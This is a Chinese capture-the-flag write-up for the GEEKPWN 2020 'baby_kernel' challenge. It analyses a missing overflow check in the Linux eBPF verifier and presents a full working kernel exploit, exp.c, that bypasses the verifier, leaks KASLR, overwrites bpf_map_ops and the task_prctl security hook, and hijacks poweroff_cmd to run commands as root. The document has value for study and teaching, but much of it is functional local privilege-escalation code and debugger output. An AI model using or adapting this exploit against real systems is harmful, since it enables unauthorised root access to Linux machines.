GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解
GEEKPWN2020-云安全挑战赛决赛-baby_kernel题解
前言
上周参加了酷炫的GEEKPWN大会，比赛时未能解出这道题目，因为是bpf相关的洞，之前也有一点了解，赛后七哥不厌其烦地给我指导，最终成功解出，非常感谢sunichi师傅的帮助。本文相关文件在这里
漏洞挖掘
附件里贴心地给了source源码和linux-5.8.6的源码，我们拿beyond compare比较一下两个项目文件夹，可以找到不同的文件，拿vscode比较一下具体地文件，即可看到diff的结果.可以看到在verifier.c文件中的scalar_min_max_add函数中缺失了溢出检查。
具体看一下此处的代码和调用,只跟到check_alu_op就差不多了，因为之前我们分析bpf漏洞的时候知道核心检查函数do_check中会调用此函数。因此最后的漏洞调用链为：do_check->check_alu_op->adjust_reg_min_max_vals->adjust_scalar_min_max_vals->scalar_min_max_add。
//verifier.c
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
switch (opcode) {
case BPF_ADD:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to add from different pointers or scalars\n", dst);
return ret;
}
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
//...
}
}
//
static int adjust_reg_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn)
{
//...
return adjust_scalar_min_max_vals(env, insn, dst_reg, *src_reg);
}
//
/* check validity of 32-bit and 64-bit arithmetic operations */
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
//...
else { /* all other ALU ops: and, sub, xor, add, ... */
if (BPF_SRC(insn->code) == BPF_X) {
if (insn->imm != 0 || insn->off != 0) {
verbose(env, "BPF_ALU uses reserved fields\n");
return -EINVAL;
}
/* check src1 operand */
err = check_reg_arg(env, insn->src_reg, SRC_OP);
if (err)
return err;
} else {
if (insn->src_reg != BPF_REG_0 || insn->off != 0) {
verbose(env, "BPF_ALU uses reserved fields\n");
return -EINVAL;
}
}
/* check src2 operand */
err = check_reg_arg(env, insn->dst_reg, SRC_OP);
if (err)
return err;
if ((opcode == BPF_MOD || opcode == BPF_DIV) &&
BPF_SRC(insn->code) == BPF_K && insn->imm == 0) {
verbose(env, "div by zero\n");
return -EINVAL;
}
if ((opcode == BPF_LSH || opcode == BPF_RSH ||
opcode == BPF_ARSH) && BPF_SRC(insn->code) == BPF_K) {
int size = BPF_CLASS(insn->code) == BPF_ALU64 ? 64 : 32;
if (insn->imm < 0 || insn->imm >= size) {
verbose(env, "invalid shift %d\n", insn->imm);
return -EINVAL;
}
}
/* check dest operand */
err = check_reg_arg(env, insn->dst_reg, DST_OP_NO_MARK);
if (err)
return err;
return adjust_reg_min_max_vals(env, insn);
}
}
static bool signed_add_overflows(s64 a, s64 b)
{
/* Do the add in u64, where overflow is well-defined */
s64 res = (s64)((u64)a + (u64)b);
if (b < 0)
return res > a;
return res < a;
}
漏洞分析
看到这个洞很容易想到今年pwn2own上的一个ebpf洞，这个洞之前看到了没有分析，比赛的时候又去现学了一下CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析和CVE-2020-8835 pwn2own 2020 ebpf 通过任意读写提权分析，简单说，漏洞在于计算tnum的时候使用的是smin_val和smax_val的低32bit，这导致0x100000001和0x1在函数看来是一样的，因此会被verifier认为是1，从而(n&2)>>1被认为是0，而实际上我们传入n=2，即可得到1，再进行BPF_MUL计算从而造成越界读写。
借鉴上述漏洞的想法，我们把verifier作为一个vm的检查，要执行的数据先拿进去检查一遍，在检查过程中smin_val和smax_val会进行检查和更新，其范围表示verifier认为的某个寄存器输入的范围。假如我们可以通过一些手段欺骗其认为寄存器范围是一个常数C，后面再通过一些计算(移位，乘除)使寄存器范围变为常数0.而0乘除任何数字都是0，而实际可以传入非零值得到其他值，这就可以帮助我们进行map的越界读写。
那么这个洞要怎么达到上述效果呢？比赛的时候我一直在尝试用BPF_ALU64_IMM来进行调整，使其smin_val==smax_val==0，然而发现要使得a+x==b+x(mod 0x10000000000000000)，除非a本身==b+0x10000000000000000。这条路并不可行，在参考文章里的核心越界指令是BPF_LDX_MEM(BPF_DW,0,7,0)，其中r7被越界改为&map_addr-0x110，我们看下BPF_LDX_MEM这个指令的检查条件，其核心检查函数为__check_mem_access。可以看到off需要大于等于0，因此我们必须trick使得smin_val==smax_val==0。
//verifier.c
/* check read/write into memory region (e.g., map value, ringbuf sample, etc) */
static int __check_mem_access(struct bpf_verifier_env *env, int regno,
int off, int size, u32 mem_size,
bool zero_size_allowed)
{
bool size_ok = size > 0 || (size == 0 && zero_size_allowed);
struct bpf_reg_state *reg;
if (off >= 0 && size_ok && (u64)off + size <= mem_size)
return 0;
reg = &cur_regs(env)[regno];
switch (reg->type) {
case PTR_TO_MAP_VALUE:
verbose(env, "invalid access to map value, value_size=%d off=%d size=%d\n",
mem_size, off, size);
break;
case PTR_TO_PACKET:
case PTR_TO_PACKET_META:
case PTR_TO_PACKET_END:
verbose(env, "invalid access to packet, off=%d size=%d, R%d(id=%d,off=%d,r=%d)\n",
off, size, regno, reg->id, off, mem_size);
break;
case PTR_TO_MEM:
default:
verbose(env, "invalid access to memory, mem_size=%u off=%d size=%d\n",
mem_size, off, size);
}
return -EACCES;
}
赛后17师傅提示说可以使用BPF_ALU64_REG来达到我们的目的，我们先来看下smin_val和smax_val的初始值S64_MIN和S64_MAX。其值分别为0x8000000000000000和0x7fffffffffffffff。我们来看下面的一组bpf指令。根据其初始值可以看到r8的smin和smax分别经历了0x8000000000000000->0x8000000000000001->0x4000000000000000->0x8000000000000000->0以及0x7fffffffffffffff->0x8000000000000000->0x4000000000000000->0x8000000000000000->0的变化，最终smin==smax==0，这是verifier做出的判断。然而如果我们输入r8==0x100000000，满足开始的smin和smax条件，实际计算出来的结果确是0x100000000->0x100000001->0x80000000->0x100000000->0x200000000->2->0x110。二者结果不一致，我们可以绕过检查进行越界读写。
BPF_ALU64_IMM(BPF_ADD,8,1), //r8 += 1
BPF_ALU64_IMM(BPF_RSH,8,1), //r8 >> 1
BPF_ALU64_IMM(BPF_LSH,8,1), //r8 << 1
BPF_ALU64_REG(BPF_ADD,8,8), //r8 += r8(overflow)
BPF_ALU64_IMM(BPF_RSH,8,32), //r8 >>= 32
BPF_ALU64_IMM(BPF_MUL,8,0x110/2), //r8 *= 0x110地址泄露
任意读和参考文章的做法一致，我们看下核心的数据结构bpf_array，其中的value字段对应我们输入map的地址，其-0x110的偏移处保存着array_map_ops字段，它是一个全局的变量，存储在vmlinux内核文件的data段，通过它可以leak出kaslr的基址，通过wait_list->next可以泄露出map的地址。在de4dcr0w师傅的文章中，其构造了任意读来获取cred的地址，这里因为我没有起root shell所以就只泄露了这两个地址。
gef➤ p/a *(struct bpf_array*) 0xffff888005840000
$1 = {
map = {
ops = 0xffffffff82016880 <array_map_ops>,
inner_map_meta = 0x0 <fixed_percpu_data>,
security = 0xffff88800679df00,
map_type = 0x2 <fixed_percpu_data+2>,
key_size = 0x4 <fixed_percpu_data+4>,
value_size = 0x2000 <irq_stack_backing_store>,
max_entries = 0x1 <fixed_percpu_data+1>,
map_flags = 0x0 <fixed_percpu_data>,
spin_lock_off = 0xffffffffffffffea,
id = 0x4 <fixed_percpu_data+4>,
numa_node = 0xffffffffffffffff,
btf_key_type_id = 0x0 <fixed_percpu_data>,
btf_value_type_id = 0x0 <fixed_percpu_data>,
btf = 0x0 <fixed_percpu_data>,
memory = {
pages = 0x3 <fixed_percpu_data+3>,
user = 0xffff8880067de300
},
name = {0x0 <fixed_percpu_data> <repeats 16 times>},
btf_vmlinux_value_type_id = 0x0 <fixed_percpu_data>,
bypass_spec_v1 = 0x0 <fixed_percpu_data>,
frozen = 0x0 <fixed_percpu_data>,
refcnt = {
counter = 0x2 <fixed_percpu_data+2>
},
usercnt = {
counter = 0x1 <fixed_percpu_data+1>
},
work = {
data = {
counter = 0x0 <fixed_percpu_data>
},
entry = {
next = 0x0 <fixed_percpu_data>,
prev = 0x0 <fixed_percpu_data>
},
func = 0x0 <fixed_percpu_data>
},
freeze_mutex = {
owner = {
counter = 0x0 <fixed_percpu_data>
},
wait_lock = {
{
rlock = {
raw_lock = {
{
val = {
counter = 0x0 <fixed_percpu_data>
},
{
locked = 0x0 <fixed_percpu_data>,
pending = 0x0 <fixed_percpu_data>
},
{
locked_pending = 0x0 <fixed_percpu_data>,
tail = 0x0 <fixed_percpu_data>
}
}
}
}
}
},
osq = {
tail = {
counter = 0x0 <fixed_percpu_data>
}
},
wait_list = {
next = 0xffff8880058400c0,
prev = 0xffff8880058400c0
}
},
writecnt = 0x0 <fixed_percpu_data>
},
elem_size = 0x2000 <irq_stack_backing_store>,
index_mask = 0x0 <fixed_percpu_data>,
aux = 0x0 <fixed_percpu_data>,
{
value = 0xffff888005840110,//这里是map_element的地址
ptrs = 0xffff888005840110,
pptrs = 0xffff888005840110
}
}
任意地址写
任意地址写的利用链依然是参照rtfingc师傅的做法，首先看一下array_map_ops成员，我们可以通过地址越界写覆写array_map_ops成员为map_element_addr，从而伪造map_ops。
gef➤ p/a *(struct bpf_map_ops *) 0xffffffff82016880
$2 = {
map_alloc_check = 0xffffffff81162ef0 <array_map_alloc_check>,
map_alloc = 0xffffffff81163df0 <array_map_alloc>,
map_release = 0x0 <fixed_percpu_data>,
map_free = 0xffffffff811636c0 <array_map_free>,
map_get_next_key = 0xffffffff81162fe0 <array_map_get_next_key>,
map_release_uref = 0x0 <fixed_percpu_data>,
map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>,
map_lookup_batch = 0xffffffff81149240 <generic_map_lookup_batch>,
map_lookup_and_delete_batch = 0x0 <fixed_percpu_data>,
map_update_batch = 0xffffffff81149020 <generic_map_update_batch>,
map_delete_batch = 0x0 <fixed_percpu_data>,
map_lookup_elem = 0xffffffff81163060 <array_map_lookup_elem>,
map_update_elem = 0xffffffff811635b0 <array_map_update_elem>,
map_delete_elem = 0xffffffff81163010 <array_map_delete_elem>,
map_push_elem = 0x0 <fixed_percpu_data>,
map_pop_elem = 0x0 <fixed_percpu_data>,
map_peek_elem = 0x0 <fixed_percpu_data>,
map_fd_get_ptr = 0x0 <fixed_percpu_data>,
map_fd_put_ptr = 0x0 <fixed_percpu_data>,
map_gen_lookup = 0xffffffff81163310 <array_map_gen_lookup>,
map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>,
map_seq_show_elem = 0xffffffff81163140 <array_map_seq_show_elem>,
map_check_btf = 0xffffffff81163c60 <array_map_check_btf>,
map_poke_track = 0x0 <fixed_percpu_data>,
map_poke_untrack = 0x0 <fixed_percpu_data>,
map_poke_run = 0x0 <fixed_percpu_data>,
map_direct_value_addr = 0xffffffff81162f70 <array_map_direct_value_addr>,
map_direct_value_meta = 0xffffffff81162fa0 <array_map_direct_value_meta>,
map_mmap = 0xffffffff811630e0 <array_map_mmap>,
map_poll = 0x0 <fixed_percpu_data>
}
我们将map_push_elem改为map_get_next_key，在调用map_update_elem的时候会调用map_push_elem，但是需要map的类型为BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK。
看一下调用链，map_update_elem函数中的bpf_map_update_value(map, f, key, value, attr->flags);调用bpf_map_update_value函数的map->ops->map_push_elem(map, value, flags);，最终调用了array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)。其中key对应value，next_key对应attr->flags。
最终当index < array->map.max_entries时，有*next = index + 1;，即*(attr->flags)=*(u32 *)value+1。因为是无符号数比较，我们利用越界写提前布置array->map.max_entries=-1;map_type=BPF_MAP_TYPE_STACK即可进行地址任意写。
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd;
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;
if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
return -EINVAL;
f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);
if (!(map_get_sys_perms(map, f) & FMODE_CAN_WRITE)) {
err = -EPERM;
goto err_put;
}
if ((attr->flags & BPF_F_LOCK) &&
!map_value_has_spin_lock(map)) {
err = -EINVAL;
goto err_put;
}
key = __bpf_copy_key(ukey, map->key_size);
if (IS_ERR(key)) {
err = PTR_ERR(key);
goto err_put;
}
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||
map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)
value_size = round_up(map->value_size, 8) * num_possible_cpus();
else
value_size = map->value_size;
err = -ENOMEM;
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN);
if (!value)
goto free_key;
err = -EFAULT;
if (copy_from_user(value, uvalue, value_size) != 0)
goto free_value;
err = bpf_map_update_value(map, f, key, value, attr->flags);//这里
free_value:
kfree(value);
free_key:
kfree(key);
err_put:
fdput(f);
return err;
}
//
static int bpf_map_update_value(struct bpf_map *map, struct fd f, void *key,
void *value, __u64 flags)
{
int err;
/* Need to create a kthread, thus must support schedule */
if (bpf_map_is_dev_bound(map)) {
return bpf_map_offload_update_elem(map, key, value, flags);
} else if (map->map_type == BPF_MAP_TYPE_CPUMAP ||
map->map_type == BPF_MAP_TYPE_SOCKHASH ||
map->map_type == BPF_MAP_TYPE_SOCKMAP ||
map->map_type == BPF_MAP_TYPE_STRUCT_OPS) {
return map->ops->map_update_elem(map, key, value, flags);
} else if (IS_FD_PROG_ARRAY(map)) {
return bpf_fd_array_map_update_elem(map, f.file, key, value,
flags);
}
bpf_disable_instrumentation();
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH) {
err = bpf_percpu_hash_update(map, key, value, flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY) {
err = bpf_percpu_array_update(map, key, value, flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE) {
err = bpf_percpu_cgroup_storage_update(map, key, value,
flags);
} else if (IS_FD_ARRAY(map)) {
rcu_read_lock();
err = bpf_fd_array_map_update_elem(map, f.file, key, value,
flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_HASH_OF_MAPS) {
rcu_read_lock();
err = bpf_fd_htab_map_update_elem(map, f.file, key, value,
flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_REUSEPORT_SOCKARRAY) {
/* rcu_read_lock() is not needed */
err = bpf_fd_reuseport_array_update_elem(map, key, value,
flags);
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, flags);//这里
} else {
rcu_read_lock();
err = map->ops->map_update_elem(map, key, value, flags);
rcu_read_unlock();
}
bpf_enable_instrumentation();
maybe_wait_bpf_programs(map);
return err;
}
/* Called from syscall */
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) {
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
控制流劫持
原本想劫持modprobe_path来进行任意命令执行，不过搜索之后未能发现，因此换成prctl函数劫持控制流的方式。我们在sys.c里可以看到prctl系统调用的实现，内部调用了security_task_prctl。在security.c中可以看到其函数实现，核心是调用hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);这个函数指针我们可以写个prctl调用的demo调试看到，其位置为0xffffffff824b3f88+0x18。因为这里是可写的data段，我们可以讲其改成任意的函数指针并在调用prctl时触发控制流劫持。
data:FFFFFFFF824B3D80 capability_hooks security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.capable-7D4679C0h, <\
.data:FFFFFFFF824B3D80 offset cap_capable-7EC76180h>, 0>
.data:FFFFFFFF824B3D80 security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.settime-7D4679A0h, <\
.data:FFFFFFFF824B3D80 offset cap_settime-7EC763C0h>, 0>
.data:FFFFFFFF824B3D80 security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.ptrace_access_check-7D4679E0h,\
.data:FFFFFFFF824B3D80 <offset cap_ptrace_access_check-7EC75AD0h>, 0>
.data:FFFFFFFF824B3D80 security_hook_list <<0>, \
.data:FFFFFFFF824B3D80 offset security_hook_heads_0.ptrace_traceme-7D4679D8h,\
.data:FFFFFFFF824B3D80 <offset cap_ptrace_traceme-7EC75B60h>, 0>SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
unsigned char comm[sizeof(me->comm)];
long error;
error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;
error = 0;
//...
}
//
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = LSM_RET_DEFAULT(task_prctl);
struct security_hook_list *hp;
hlist_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != LSM_RET_DEFAULT(task_prctl)) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}
函数的第一个option是一个32位的变量，因此我们在64位下不可控，我们选择劫持其为poweroff_work_func函数地址，并将poweroff_cmd改为要执行的命令。
这条攻击链如下,poweroff_work_func->run_cmd(poweroff_cmd)->call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC)->call_usermodehelper_exec(info, wait)。最终可以以root权限启动一个用户态的程序。
我们这里选择将poweroff_cmd覆写为/bin/chmod 777 /flag，之后用户态下查看即可
static void poweroff_work_func(struct work_struct *work)
{
__orderly_poweroff(poweroff_force);
}
//
static int __orderly_poweroff(bool force)
{
int ret;
ret = run_cmd(poweroff_cmd);//这里
if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");
/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap. Or not even bother syncing if we're doing an
* emergency shutdown?
*/
emergency_sync();
kernel_power_off();
}
return ret;
}
//
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static const char reboot_cmd[] = "/sbin/reboot";
static int run_cmd(const char *cmd)
{
char **argv;
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
int ret;
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);//这里
argv_free(argv);
} else {
ret = -ENOMEM;
}
return ret;
}
/**
* call_usermodehelper() - prepare and start a usermode application
* @path: path to usermode executable
* @argv: arg vector for process
* @envp: environment for process
* @wait: wait for the application to finish and return status.
* when UMH_NO_WAIT don't wait at all, but you get no useful error back
* when the program couldn't be exec'ed. This makes it safe to call
* from interrupt context.
*
* This function is the equivalent to use call_usermodehelper_setup() and
* call_usermodehelper_exec().
*/
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;
info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
exp.c
题目给的vmlinux是无符号的，调试起来非常费劲，因此我拿源码自己编译了一个带符号的，这样可以源码调试，因为编译的问题有一些函数会内联进去，IDA中搜符号搜不到，调试的时候如果搜不到，可以找上层调用函数，再自己去定位。
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <errno.h>
#include <sys/prctl.h>
#include "linux/bpf.h"
#include "bpf_insn.h"
#define LOG_BUF_SIZE 65535
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_MOV64_REG((dst), BPF_REG_0) /* r_dst = (r0) */
int ctrlmapfd, expmapfd;
int progfd;
int sockets[2];
char bpf_log_buf[LOG_BUF_SIZE];
void gen_fake_elf(){
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod");
system("chmod +x /tmp/chmod");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
void init(){
setbuf(stdin,0);
setbuf(stdout,0);
//gen_fake_elf();
}
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : \n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("\n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("\n[-x64dump-] end ... \n");
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx\n",num);
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version);
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries);
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags);
static int bpf_lookup_elem(int fd,void *key, void *value);
static void writemsg(void);
static void __exit(char *err);
struct bpf_insn insns[]={
BPF_LD_MAP_FD(1,3),
BPF_LD_MAP_FD(9,3), //r9 = ctrl_map_fd
BPF_MAP_GET(0,8), //r9 = ctrl_map_fd[0], r0 = &ctrl_map
BPF_MOV64_REG(6,0), //r6 = ctrl_map
BPF_ALU64_IMM(BPF_ADD,8,1), //r8 += 1
BPF_ALU64_IMM(BPF_RSH,8,1), //r8 >> 1
BPF_ALU64_IMM(BPF_LSH,8,1), //r8 << 1
BPF_ALU64_REG(BPF_ADD,8,8), //r8 += r8
BPF_ALU64_IMM(BPF_RSH,8,32), //r8 >>= 32
BPF_ALU64_IMM(BPF_MUL,8,0x110/2), //r8 *= 0x110
BPF_LD_MAP_FD(9,4), //r9 = exp_map_fd
BPF_MAP_GET_ADDR(0,7), //r7 = &exp_map
BPF_ALU64_REG(BPF_SUB,7,8), //r7 -= r8
BPF_LDX_MEM(BPF_DW,0,7,0), //r0 = [r7+0]
BPF_STX_MEM(BPF_DW,6,0,0x10), //r6+0x10 = r0 = ctrl_map[2]
BPF_LDX_MEM(BPF_DW,0,7,0xc8), //r0 = [r7+0xc0]
BPF_STX_MEM(BPF_DW,6,0,0x18), //r6+0x18 = r0 = ctrl_map[3]
BPF_ALU64_IMM(BPF_ADD,0,0x50), //r0 += 0x50 => element_addr
BPF_LDX_MEM(BPF_DW,8,6,8), //r8 = [r6+8] = ctrl_map[1]
BPF_JMP_IMM(BPF_JNE,8,0x2,4),
//arb write
BPF_STX_MEM(BPF_DW,7,0,0), //[r7] = [ops] = r0 = element_addr
BPF_ST_MEM(BPF_W,7,0x18,BPF_MAP_TYPE_STACK),//[ops+0x18] = BPF_MAP_TYPE_STACK
BPF_ST_MEM(BPF_W,7,0x24,-1), //max_entries
BPF_ST_MEM(BPF_W,7,0x2c,0), //locak_off
//exit
BPF_ALU64_IMM(BPF_MOV,0,0), //
BPF_EXIT_INSN(),
};
void prep(){
ctrlmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,0x1);
if(ctrlmapfd<0){ __exit(strerror(errno));}
expmapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x2000,0x1);
if(expmapfd<0){ __exit(strerror(errno));}
printf("ctrlmapfd: %d, expmapfd: %d \n",ctrlmapfd,expmapfd);
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
insns, sizeof(insns), "GPL", 0);
if(progfd < 0){ __exit(strerror(errno));}
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
__exit(strerror(errno));
}
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
__exit(strerror(errno));
}
}
void pwn(){
printf("pwning...\n");
uint32_t key = 0x0;
char *ctrlbuf = malloc(0x100);
char *expbuf = malloc(0x3000);
uint64_t *ctrlbuf64 = (uint64_t *)ctrlbuf;
uint64_t *expbuf64 = (uint64_t *)expbuf;
memset(ctrlbuf,'A',0x100);
for(int i=0;i<0x2000/8;i++){
expbuf64[i] = i+1;
}
ctrlbuf64[0]=0x100000000;
ctrlbuf64[1]=0x0;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
writemsg();
// leak
memset(ctrlbuf,0,0x100);
bpf_lookup_elem(ctrlmapfd,&key,ctrlbuf);
x64dump(ctrlbuf,8);
bpf_lookup_elem(expmapfd,&key,expbuf);
x64dump(expbuf,8);
uint64_t map_leak = ctrlbuf64[2];
uint64_t elem_leak = ctrlbuf64[3]-0xc0+0x110;
//uint64_t kaslr = map_leak - 0xffffffff82016340;
uint64_t kaslr = map_leak - 0xffffffff82016880;
//uint64_t modprobe_path = 0xffffffff82446d80 + kaslr;
loglx("map_leak",map_leak);
loglx("elem_leak",elem_leak);
loglx("kaslr",kaslr);
//loglx("modprobe",modprobe_path);
getchar();
uint64_t fake_map_ops[]={
kaslr + 0xffffffff81162ef0,
kaslr + 0xffffffff81163df0,
0x0,
kaslr + 0xffffffff811636c0,
kaslr + 0xffffffff81162fe0, //get net key 5
0x0,
0x0,
kaslr + 0xffffffff81149240,
0x0,
kaslr + 0xffffffff81149020,
0x0,
kaslr + 0xffffffff81163060,
kaslr + 0xffffffff811635b0,
kaslr + 0xffffffff81163010,
kaslr + 0xffffffff81162fe0, //map_push_elem 15
0x0,
0x0,
0x0,
0x0,
kaslr + 0xffffffff81163310,
0x0,
kaslr + 0xffffffff81163140,
kaslr + 0xffffffff81163c60,
0x0,
0x0,
0x0,
kaslr + 0xffffffff81162f70,
kaslr + 0xffffffff81162fa0,
kaslr + 0xffffffff811630e0,
};
// overwrite bpf_map_ops
memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
bpf_update_elem(expmapfd,&key,expbuf,0);
//overwrite fake ops
ctrlbuf64[0]=0x100000000;
ctrlbuf64[1]=0x2;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
bpf_update_elem(expmapfd,&key,expbuf,0);
x64dump(ctrlbuf,8);
x64dump(expbuf,8);
writemsg();
//overwrite the hp->hook.task_prctl
uint64_t poweroff_work_func = 0xFFFFFFFF8108B240 + kaslr;
uint64_t poweroff_cmd = 0xFFFFFFFF82448260 + kaslr;
uint64_t hp_hook = 0xffffffff824b3fa0 + kaslr;
expbuf64[0] = (poweroff_work_func & 0xffffffff) - 1;
bpf_update_elem(expmapfd,&key,expbuf,hp_hook);
expbuf64[0] = (poweroff_work_func >> 32) - 1;
bpf_update_elem(expmapfd,&key,expbuf,hp_hook+4);
//overwite poweroff_cmd to "/bin/chmod 777 /flag"
expbuf64[0] = 0x6e69622f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd);
expbuf64[0] = 0x6d68632f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+4);
expbuf64[0] = 0x3720646f - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+8);
expbuf64[0] = 0x2f203737 - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+0xc);
expbuf64[0] = 0x67616c66 - 1;
bpf_update_elem(expmapfd,&key,expbuf,poweroff_cmd+0x10);
//trigger
prctl(0,0);
return;
}
int main(int argc,char **argv){
init();
prep();
pwn();
return 0;
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void writemsg(void)
{
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
